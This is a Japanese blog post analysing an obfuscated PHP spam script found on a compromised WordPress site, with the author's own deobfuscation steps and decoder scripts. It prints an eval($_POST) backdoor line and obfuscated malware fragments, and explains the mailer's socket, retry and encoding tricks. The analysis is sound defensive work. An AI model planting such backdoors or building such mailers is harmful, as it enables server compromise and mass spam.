スパマのスパムスクリプトを解析してみる : 難読化されたPHPスクリプトに挑む

スパムを送るのに使われていたPHPスクリプトを見ていきましょう。こういった種類のスパムは世界中のサーバで走っており、あなたを困らせるスパマの熱意を見通せる力を得ることができるはずです。

スパマは、セキュリティ対策が施されていないWebサイトやアプリケーション内の既知の脆弱性を悪用してサーバに入り込み、大量のスパムを送ることができるスクリプトをインストールします。完全に信頼できる送信者であると確証するのは難しいという理由から、全てのスパムを取り除くことは困難です。完全に強化されたサーバは、スイスチーズ、つまり後にいくつかのゼロデイ・エクスプロイトになりかねないのです。

評判がいいとは言えないソースからプラグインをインストールしたり、プラグインが最新状態に保たれていなかったりすることで、エクスプロイトが簡単に取り込まれてしまうということは、それなりに人気のあるWordPressのサイトを運営する人は誰もが知っていることです。時には、人気があるWordPressプラグインへのゼロデイ・エクスプロイトが発覚し、そのプラグインがインストールされた何千もの個所で一瞬にして感染が起こってしまうこともあります。

私が管理するシェアホストWebサーバ上のWordPressのサイトの1つが、スパムスクリプトによって感染されてしまいました。運が良かったのは、スクリプトが実害を与える効力がなかったことと、感染してから30分後に検出されたことです。ここで皆さんにその時のスクリプトをお見せしつつ解析を行ったら面白いと思ったので、これらのスクリプトが実際にどのように機能するのか、そして何千人ものEメール管理者にどのような地獄の苦しみを味合わせているのかを探っていきたいと思います。

Webサイトの感染

スパマによるWebサイトの感染は、ほとんどの場合ボットネットによって実行されます。ノードが攻撃を連動し、異なるIPアドレスから以下の3段階のアクションを実行します。

  1. 最低限のスクリプトeval($_POST['input_from_spammer']);をインストールするためにエクスプロイトを悪用する。

  2. このスクリプトは通常、WordPress自体やそのプラグインの、パブリックにアクセス可能なPHPファイルに編集される。そして、更に多くのevalスクリプトをインストールするために、異なる入力値で何度も実行される。

  3. 最後は、Webサイトが不正にアクセスされ、手動での修復が不可能な状態にまでなってしまうと、難読化されたハッキング用のスクリプトやスパムスクリプトがインストールされる。

管理者が(スパマによってアクセスされたロケーション全てを確認せずに)Webサイトの再インストールやバックアップの復元を行ったとしても、Webサイトが依然として不正アクセス下にあるかの確認のために1段階目と2段階目が用いられます。3段階目は、簡単に認識することのできる悪行をもたらすスクリプトファイルをインストールします。

なぜ1段階目でアクションを止め、eval()メカニズムを介してスパムスクリプトを注入しないのでしょうか? 恐らく、目立たなくするためだと思います。長いスクリプトをアップロードして、最低限のフォーマットで必要なスパム情報を送ることは、アクションそのものを隠すには最適な方法です。

スパムスクリプトの難読化を解く

ステップ1:難読化のメソッドを見つけ出す

WordPressのエクスプロイト・インストレーションで見つかった手を加えていない、難読化されたスクリプトを見てみましょう。

まず気付いたのは、とても長い乱雑な1行の中に全部詰め込まれているという点です。次に、ここから明らかに分かるのは、ある種のトランスコーディングが行われていることです。

$GLOBALS['jihux92'] = $j10[86].$j10[62].$j10[86].$j10[64].$j10[73].$j10[27].$j10[19]; $GLOBALS['qsxte55'] = $j10[27].$j10[0].$j10[0].$j10[15].$j10[0].$j10[64].$j10[0].$j10[27].$j10[39].$j10[15].$j10[0].$j10[19].$j10[86].$j10[62].$j10[79]; $GLOBALS['eexet82'] = $j10[30].$j10[73].$j10[15].$j10[62].$j10[64].$j10[33].$j10[27].$j10[6].$j10[15].$j10[33].$j10[27]; $GLOBALS['cydwn23'] = $j10[93].$j10[92].$j10[93].$j10[33].$j10[12].$j10[87].$j10[87]; $GLOBALS['dmvah16'] = $j10[33].$j10[27].$j10[56].$j10[86].$j10[62].$j10[27]; 
// etcetera 

次のステップでは、この乱雑なスクリプトをもう少し読みやすくし、ほぼ全てに使われているトランスコーディングをリバースしてみます。

ステップ2:改行を追加する

セミコロンの直後に改行を追加しました。これで、このスクリプトで起こっていることが少し分かりやすくなりました。

$GLOBALS['dmvah16'] = $j10[33].$j10[27].$j10[56].$j10[86].$j10[62].$j10[27];
$GLOBALS['uvmxr50'] = $j10[86].$j10[73].$j10[30].$j10[33].$j10[62].$j10[87].$j10[90];
$GLOBALS['oluxf50'] = $j10[54].$j10[57].$j10[16].$j10[54].$j10[86].$j10[50].$j10[80];
$GLOBALS['gyeof37'] = $j10[16].$j10[33].$j10[5];
$GLOBALS['frpwz79'] = $j10[6].$j10[15].$j10[57].$j10[62].$j10[19];
$GLOBALS['yguel83'] = $j10[19].$j10[86].$j10[16].$j10[27];
$GLOBALS['vrubd73'] = $j10[6].$j10[15].$j10[62].$j10[73].$j10[19].$j10[38].$j10[62].$j10[19];
$GLOBALS['cnftt27'] = $j10[16].$j10[52].$j10[33].$j10[19].$j10[61].$j10[55].$j10[53];
$GLOBALS['lfazz33'] = $j10[54].$j10[33].$j10[15].$j10[61].$j10[52].$j10[55].$j10[55];
$GLOBALS['haimq43'] = $j10[92].$j10[79].$j10[0].$j10[19].$j10[0].$j10[80];
$GLOBALS['xfeye26'] = $j10[86].$j10[16].$j10[39].$j10[75].$j10[15].$j10[33].$j10[27];
$GLOBALS['whzhh71'] = $j10[38].$j10[0].$j10[0].$j10[38].$j10[20].$j10[64].$j10[93].$j10[27].$j10[20].$j10[73];
$GLOBALS['bqdjr8'] = $j10[0].$j10[15].$j10[9].$j10[16].$j10[38].$j10[50].$j10[53];
$GLOBALS['uulbr4'] = $j10[16].$j10[15].$j10[86].$j10[30].$j10[93].$j10[90].$j10[87];
$GLOBALS['nqqaa78'] = $j10[27].$j10[93].$j10[75].$j10[7].$j10[20].$j10[90].$j10[90];
$GLOBALS['mdxuq1'] = $j10[0].$j10[61].$j10[54].$j10[62].$j10[7].$j10[53];

いくつかのグローバル変数の代入を行っているのは恐らく、引数として変数を渡すことなく関数の呼び出し間で変数を共有するためでしょう。スクリプトの冒頭に2つの個別の変数の宣言を見つけました。

$pate="eyIubXguYW9sLm ...... hbSBwZXIiXX19fQ==";
$j10="rA;@{5cqVb/Fh<\"omGQtyHMZ`Y[eB&j] dO%W'ap-I!?1X\n^9L7Nx6z4fu}S*wn\r_=JU\t(E\\~s>lR.Kg3C)|:Ti8#\$20vkD+P,"; 

$pateの値の最後にある2つの=(イコール)は、Base64のパディングに似ています。また、$j10変数の値は完全にランダムのようです。

ステップ3:$j10の値を置換する

変数$j10は、何度もアクセスされているようですし、ほとんどの場合これは、文字列連結のコンテキスト内で起こっています。トランスコーディングをリバースするのには完璧な置換候補ですね! 私は以下のデコーダを使って、全スクリプトを実行してみました。

$j10="rA;@{5cqVb/Fh<\"omGQtyHMZ`Y[eB&j] dO%W'ap-I!?1X\n^9L7Nx6z4fu}S*wn\r_=JU\t(E\\~s>lR.Kg3C)|:Ti8#\$20vkD+P,";

$data = file_get_contents($argv[1]);

for ($i = 0; $i < strlen($j10); ++$i) {
    $char = $j10[$i];
    $data = str_replace('$j10[' . $i . ']', '"' . addcslashes($char, "\r\n\"\\\t") . '"', $data);
}

echo $data; 

これをステップ2のスクリプトに当て込むと以下のようになります。

$GLOBALS['dmvah16'] = "d"."e"."f"."i"."n"."e";
$GLOBALS['uvmxr50'] = "i"."s"."j"."d"."n"."8"."2";
$GLOBALS['oluxf50'] = "z"."u"."m"."z"."i"."7"."3";
$GLOBALS['gyeof37'] = "m"."d"."5";
$GLOBALS['frpwz79'] = "c"."o"."u"."n"."t";
$GLOBALS['yguel83'] = "t"."i"."m"."e";
$GLOBALS['vrubd73'] = "c"."o"."n"."s"."t"."a"."n"."t";
$GLOBALS['cnftt27'] = "m"."x"."d"."t"."w"."4"."6";
$GLOBALS['lfazz33'] = "z"."d"."o"."w"."x"."4"."4";
$GLOBALS['haimq43'] = "v"."g"."r"."t"."r"."3";
$GLOBALS['xfeye26'] = "i"."m"."p"."l"."o"."d"."e";
$GLOBALS['whzhh71'] = "a"."r"."r"."a"."y"."_"."k"."e"."y"."s";
$GLOBALS['bqdjr8'] = "r"."o"."b"."m"."a"."7"."6";
$GLOBALS['uulbr4'] = "m"."o"."i"."j"."k"."2"."8";
$GLOBALS['nqqaa78'] = "e"."k"."l"."q"."y"."2"."2";
$GLOBALS['mdxuq1'] = "r"."w"."z"."n"."q"."6";

うまくいきました! いくつかはPHP関数を参照しているので、これらが残りのスクリプトでどのように使われているのか見てみましょう。

$GLOBALS['gyeof37'](0987654321)

// translates to:

"md5"(0987654321)

// which is the equivalent of:

md5(0987654321)

スパマは、PHP可変関数を使用しているので、どの関数を呼び出したかを隠すことができます。これは、ユーザ定義、ビルトイン関数両方の全ての関数の呼び出しに使用することができます。いくつかのPHPコードは、関数を呼び出しているように見えますが、実際は以下のような言語を構築しています(例えばisset())。

if (!isset($vcmra37) || $vcmra37 == "") {

スパマは、関数の呼び出しを隠しただけではなく、全ての変数名を難読化したのが分かります。$vcmra37は変数の直感的な名前のようには思えません。次のステップでは、これら難読化の対処をする必要があります。

ステップ4:定数の文字列の連結

全てのインスタンスの$j10[…]の値を単純に対応する値で置換しただけなので、この段階のスクリプトには、定数の文字列の連結が多く含まれています。そこで、次のsedコマンドを実行して読みやすくします。

sed -e 's/"\."//g' input-script.php > output-script.php

このコマンドですと少しだけ置換できなかったケースがありますが、実行後に少しだけ直せば済むことです。私は、356行目、472行目、519行目をパース用のPHPスクリプトで処理しました。グローバル変数の宣言がどのようになったか、見てみましょう。

$GLOBALS['dmvah16'] = "define";
$GLOBALS['uvmxr50'] = "isjdn82";
$GLOBALS['oluxf50'] = "zumzi73";
$GLOBALS['gyeof37'] = "md5";
$GLOBALS['frpwz79'] = "count";
$GLOBALS['yguel83'] = "time";
$GLOBALS['vrubd73'] = "constant";
$GLOBALS['cnftt27'] = "mxdtw46";
$GLOBALS['lfazz33'] = "zdowx44";
$GLOBALS['haimq43'] = "vgrtr3";
$GLOBALS['xfeye26'] = "implode";
$GLOBALS['whzhh71'] = "array_keys";
$GLOBALS['bqdjr8'] = "robma76";
$GLOBALS['uulbr4'] = "moijk28";
$GLOBALS['nqqaa78'] = "eklqy22";
$GLOBALS['mdxuq1'] = "rwznq6";

いいですね! これで、コードの端々が意味を成してきました。

$uiwvy47["s_header"] = "Date: " . @$GLOBALS['xzfoh12']("D, j M Y G:i:s O")."\r\n";

しかしまだ、厄介な関数の呼び出しが、グローバル変数の配列の中に文字列の値として残っています。次は、これをどうにかしてみましょう。

ステップ5:関数の呼び出しを置換する

ここまでで書いてきたスクリプトでは、全てのグローバル変数に関するコード$GLOBALS['foo'](...)を、対応する関数に置換することができました。また同時に、独自に割り当てられたグローバル変数も削除できました。

$data = file_get_contents($argv[1]);

// Match all 'global' functions
$matches = [];
preg_match_all('#\\$GLOBALS\\[\'(.+?)\'\\] = "(.+?)";\\r\\n#', $data, $matches, PREG_SET_ORDER);

foreach ($matches as $match) {
    $obfuscatedName = $match[1];
    $actualName = $match[2];

    // Replace all function invocations
    $data = str_replace('$GLOBALS[\'' . $obfuscatedName . '\'](', $actualName . '(', $data);

    // Remove the obfuscation mapping
    $data = str_replace($match[0], '', $data);
}

echo $data;

では、ここまで解析してきたスパムスクリプトが上述のデコーダを切り抜けた後、 “xzfoh12″がどのような振る舞いをするか見てみましょう。

$uiwvy47["s_header"] = "Date: " . @date("D, j M Y G:i:s O")."\r\n";

いい感じです! 単純なdate(...)というコードになりましたね。コードの一部は、その本来の姿を現し始めています。

// ...
case constant("SOCKET_TYPE_FSOCKET"): $jxykg73 = @fsockopen($hpzaj3."://".$urvjq67, $fgzke40, $bfwyd21, $iiwxg60, $zcxlk81);
if ($jxykg73 && $jlfho78) { @stream_set_blocking($jxykg73, 0);
} @stream_set_timeout($jxykg73, $zcxlk81);
break;
// ...

ステップ6:PHPコードをきれいに整形する

このスクリプトが何をするのか理解できるまで、あと一歩と感じました。そこで私は、Spark Labs PHP FormatterというオンラインでPHPを整形するサービスを使いました。これによって、ここまで私が解析してきたスクリプトをきれいに整形したのです。これはコードの全体の構成を理解するのに非常に役立ちます。先ほどのコードの抜粋は、次のようになりました。

// ...
        case constant("SOCKET_TYPE_FSOCKET"):
            $jxykg73 = @fsockopen($hpzaj3 . "://" . $urvjq67, $fgzke40, $bfwyd21, $iiwxg60, $zcxlk81);
            if ($jxykg73 && $jlfho78) {
                @stream_set_blocking($jxykg73, 0);
            }
            @stream_set_timeout($jxykg73, $zcxlk81);
            break;
// ...

関数名や変数名はまだ分かりにくいものではあります。しかし、スクリプトにおいて呼び出されているPHPの内部関数や、使われている文字列や数値型の定数の値に基づいて見ていくと、記述された関数がどのような仕様なのかが見え始めてきました。あなたもぜひ、整形後のスクリプト全文を見てみてください。

ステップ7:デフォルトの$j10の引数を削除する

スパマは、グローバル変数$j10を作る代わりに、ユーザ定義関数のコードでそれぞれ値を渡していました。簡単にチェックすると、$j10はもう使われていないことが分かります。私がステップ3で変数へのアクセス部分を全て置換したからです。では、sedの魔法をいくつか使って、これらのパラメータを隠してみましょう。

sed -e 's/(\$j10, /(/g' input-script.php > output-script.php

この変更の後、手作業でスクリプトの冒頭部分に記述された$j10の代入部分を削除します。

ステップ8:$pateのペイロードをデコードする

何をするコードなのかを理解するために、スクリプトの冒頭部分にある$pateのペイロードの内部を見られるようにする必要があります。どのように使われているか、見てみましょう。

$pate = "eyIubXguY...X19fQ==";

$lerqj48 = json_decode(kvkdh88($pate), TRUE);

function kvkdh88($xmxkd83) {
    $fupzm37 = "";
    for ($hvyut10 = 0; $hvyut10 < 256; $hvyut10++) {
        $gzccs73[$hvyut10] = chr($hvyut10);
    }
    $hgtxt70 = array_flip(preg_split("//", "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", -1, 1));
    $qmmlq58 = array();
    preg_match_all("([A-z0-9+\\/]{1,4})", $xmxkd83, $qmmlq58);
    foreach ($qmmlq58[0] as $iejib94) {
        $hzgqj17 = 0;
        for ($hvyut10 = 0; isset($iejib94[$hvyut10]); $hvyut10++) {
            $hzgqj17 = ($hzgqj17 << 6) + $hgtxt70[$iejib94[$hvyut10]];
            if ($hvyut10 > 0) {
                $fupzm37 .= $gzccs73[$hzgqj17 >> (4 - (2 * ($hvyut10 - 1)))];
                $hzgqj17 = $hzgqj17 & (0xf >> (2 * ($hvyut10 - 1)));
            }
        }
    }
    return $fupzm37;
}

どんな値が渡されたとしても、関数kvkdh88は”JSON”という文字列を返します。よく見てみましょう。この関数はbase64の文字セットを適用しています。このため文字列を多くても4文字のブロックで読み込み、いくらかのbitを変換し…と、処理は続きます。ユーザ定義のbase64_decode()を使えそうではありませんか?

$pate = base64_decode("eyIubXguY...X19fQ==");
print_r($pate);

// output: '{".mx.aol.com":{...,"sr":["2 spam per"]}}}'

やっぱり、できました! $pateの定義をこの出力値で置換し、kvkdh88メソッドを完全に削除しました。

ステップ9:$_POST参照を置換する

スクリプトの冒頭で、これ以外にもちょっとした難読化が起きています。

$GLOBALS['xyzta42'] = ${"_POST"};

これを解消しましょう。

$data = file_get_contents($argv[1]);

// Remove definition
$data = str_replace('$GLOBALS[\'xyzta42\'] = ${"_POST"};' . "\n", '', $data);

// Replace usage
$data = str_replace('$GLOBALS[\'xyzta42\']', '$_POST', $data);

echo $data;

ステップ10:関数名と変数名のマップ

コード全体に目を通したところ、とても役立ちそうな事実を発見しました。スクリプト全体を通して、同じ変数名については同じように難読化されているということです。例えば、全ての等しい変数名は、同一の変数名に難読化されていました。もし変数名を1つ正しく変換すれば、スクリプト全体を通して正しく変換できるはずです。

そういうわけで、まずは関数名と変数を変換することから始めました。比較的単純な関数から取り掛かり、徐々に多くの変数を使い、関数をたくさん呼び出している大掛かりな関数へと進めていきました。これは恐らく、スパムのロジック全体で使用されているものです。それらをJSON マップファイルに入力しました。

{
    "functions": {
        "rcptw89": "base64_xor2_decode",
        "zdowx44": "base64_xor2_encode",
        "fclwp59": "base64_xor2_url_decode_from_post",
        "kdpdr2":  "connection_close",
// ... a lot more ...

        "imqjm17": "smtp_get_error",
        "qbzer79": "smtp_parse_error_response",
        "tvchy30": "smtp_read",
        "rcljy83": "smtp_write"
    },
    "variables": {
        "nbcnq11": "address",
        "jxwad57": "conn_idx",
        "uiwvy47": "connection_info",
        "docef75": "connections",
// ... a lot more ...

        "lzjwd61": "spam_config",
        "jxykg73": "sp",
        "hbxeq24": "successful",
        "zcxlk81": "timeout"
    }
}

このマッピングを、最終的なデコーダのスクリプトに使用してみましょう。

$data = file_get_contents($argv[1]);
$mapping = json_decode(file_get_contents($argv[2]), true);

foreach ($mapping['functions'] as $obfuscated => $decoded) {
    $data = str_replace($obfuscated . '(', $decoded . '(', $data);
}

foreach ($mapping['variables'] as $obfuscated => $decoded) {
    $data = str_replace('$' . $obfuscated, '$' . $decoded, $data);
}

echo $data;

最終的に難読化が解消されたクリプトを見てください。変換されずに残っている変数もありますが、変数の意図は明らかです。これはたぶん、スパマが最初に記述したものにかなり近いと思われます。

一体、このスパムスクリプトは何をするのか?

基本的に、スパムスクリプトは以下の順序で動作します。

  1. スパマによって、このスクリプトにPOST変数として渡されたコンフィギュレーションを、攻撃先のマシンにロードします。spam_config_load(&$spam_config)の箇所です。
  2. 被害者の全てのアドレスに対して、接続パラメータを初期化します。
  3. 再試行の時間に関する情報をストレージretry_storage_read()からロードします。
  4. メインループspam_send_messages(&$connections, &$retry_time_storage, $hosts_info)を実行します。
    1. アクティブな接続と実行を繰り返し行います。connection_process(&$connections, &$retry_time_storage, $hosts_info)の箇所です。
    2. 状態マシンは、現在の接続状態に基づいて次のアクションを決定します。
  5. スパムの全ての実行結果を報告します。spam_report($connections)の箇所です。
  6. 再試行に関する情報を保存します。retry_storage_write($retry_time_storage)の箇所です。

このスクリプトには、特筆すべき点がいくつかあります。

  • スパマは標的とする被害者のEメールアドレスだけではなく、Eメールの本文やタイトルといったテンプレート類も渡すことができます。

  • スパムスクリプトは、PHPの機能の点から何が入手可能であるかに基づいて、SMTPサーバに接続する最適な方法を自動的に判別します。

  • $pateのデータ構造には、様々なSMTPホストの情報に加え、グレーリスト化やブラックリスト化する際の方法が含まれています。Eメールが完全に拒否されたわけではなく、時間を置いてから実施した再試行が順調であるとスクリプトが判別すると、この情報は、ホスト毎に$retry_time_storageに保存されます。

  • socket_select()が使える場合、スクリプトは複数の同時SMTPセッションを維持し、データが読み出し可能となるとすぐにセッションが展開されます。

  • PHPの標準DNS関数が利用できない場合、ユーザ定義関数であるdns_lookup($address)によって、Google DNS (IP: 8.8.8.8)でUDPに対してカスタムDNSルックアップを実行します。

  • コードのある箇所において、カスタムなbase64_ plus-xor2のコーディングが適用されています。通常のバイト値はbase64_encode()に渡される前に2との排他論理和をとります。そうすることで、たとえこうしてエンコードされた値が分かっても、単純なbase64_decode()では内容を解明できないからでしょう。

最終的な考察

今回初めてスパマのスクリプトを解析したのですが、その高い技術に少々感心してしまいました。状態マシンを利用したり、多くのソケットエラーのコーディングを巧みに扱ったりしているとは思いもしませんでした。適切なレスポンスを処理するループを備えたカスタムDNSルックアップにも驚きました。人々に対して真剣にスパム攻撃を仕掛けようとする人がいたのです。

ここで皆さんに質問です。この悪企みの根源が何なのか分かりますか? 分かったらぜひ教えてください